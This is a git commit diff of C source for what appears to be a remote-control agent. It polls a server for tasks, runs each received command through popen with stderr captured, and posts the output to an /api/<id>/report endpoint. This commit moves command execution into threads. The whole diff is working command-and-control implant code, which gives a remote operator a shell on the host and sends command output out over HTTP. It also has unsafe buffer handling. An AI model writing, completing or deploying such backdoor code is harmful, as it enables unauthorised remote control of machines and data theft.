finish up threaded cmd

master
pupuupup 5 years ago
parent 3e09d29e14
commit 7baea7acdb

@ -5,6 +5,7 @@
#include <time.h> #include <time.h>
#include <curl/curl.h> #include <curl/curl.h>
#include <unistd.h> #include <unistd.h>
#include <pthread.h>
#define BUFFER_SIZE 256 #define BUFFER_SIZE 256
@ -199,11 +200,12 @@ char* post_request(char *path, char *post_data, bool json)
} }
else else
{ {
curl_easy_setopt(curl, CURLOPT_TCP_NODELAY, 1L); char *escaped_post_data = curl_easy_escape(curl, post_data, strlen(post_data));
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); char *final_post_data = malloc(strlen(escaped_post_data) + BUFFER_SIZE);
sprintf(final_post_data,"output=%s",escaped_post_data);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, final_post_data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(post_data)+1); curl_free(escaped_post_data);
} }
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
@ -218,10 +220,10 @@ char* post_request(char *path, char *post_data, bool json)
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
* Action Threads * Action Threads
* ------------------------------------------------------------------------ */ * ------------------------------------------------------------------------ */
char* send_output(char* output, bool newlines) void send_output(char* output, bool newlines)
{ {
char *output_temp = malloc(strlen(output)+BUFFER_SIZE); char *output_temp = malloc(strlen(output)+BUFFER_SIZE);
if(output!= NULL && output[0] == '\0') return ""; if(output!= NULL && output[0] == '\0') return;
if(newlines) if(newlines)
{ {
strcpy(output_temp,output); strcpy(output_temp,output);
@ -229,10 +231,8 @@ char* send_output(char* output, bool newlines)
} }
else strcpy(output_temp,output); else strcpy(output_temp,output);
char *path = malloc(BUFFER_SIZE); char *path = malloc(BUFFER_SIZE);
char *post_data = malloc(strlen(output_temp)+BUFFER_SIZE);
sprintf(path, "/api/%s/report", get_unique_id()); sprintf(path, "/api/%s/report", get_unique_id());
sprintf(post_data,"output=%s",output_temp); post_request(path, output_temp, false);
return post_request(path, post_data, false);
} }
char* say_hello() char* say_hello()
@ -248,8 +248,9 @@ char* say_hello()
return post_request(path, post_data, true); return post_request(path, post_data, true);
} }
void do_command(char* command) void* do_command(void* input)
{ {
char* command = (char*)input;
command = realloc(command, strlen(command)+BUFFER_SIZE); command = realloc(command, strlen(command)+BUFFER_SIZE);
printf("%s",command); printf("%s",command);
sprintf(command, "%s 2>&1", command); sprintf(command, "%s 2>&1", command);
@ -259,8 +260,7 @@ void do_command(char* command)
FILE *f = popen(command, "r"); FILE *f = popen(command, "r");
if(f == NULL) if(f == NULL)
{ {
perror("popen:"); pthread_exit(NULL);
return;
} }
while(fgets(buffer, sizeof(buffer), f) != NULL) { while(fgets(buffer, sizeof(buffer), f) != NULL) {
if(strlen(output) >= buffer_size-300) if(strlen(output) >= buffer_size-300)
@ -276,6 +276,7 @@ void do_command(char* command)
printf("\n"); printf("\n");
send_output(output, true); send_output(output, true);
pclose(f); pclose(f);
pthread_exit(NULL);
} }
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
@ -309,7 +310,7 @@ void setup()
void run() void run()
{ {
char *todo = malloc(BUFFER_SIZE); char *todo = malloc(BUFFER_SIZE*2);
char *output = malloc(BUFFER_SIZE); char *output = malloc(BUFFER_SIZE);
while(1){ while(1){
todo = say_hello(); todo = say_hello();
@ -321,6 +322,7 @@ void run()
send_output(output, true); send_output(output, true);
char *command = get_command(todo); char *command = get_command(todo);
int args_len = get_args_len(todo); int args_len = get_args_len(todo);
pthread_t tid;
if(strcmp("cd",command) == 0) if(strcmp("cd",command) == 0)
{ {
if(args_len == 0) if(args_len == 0)
@ -362,7 +364,7 @@ void run()
*/ */
else else
{ {
do_command(todo); pthread_create(&tid, NULL, do_command, todo);
} }
} }
else else

Loading…
Cancel
Save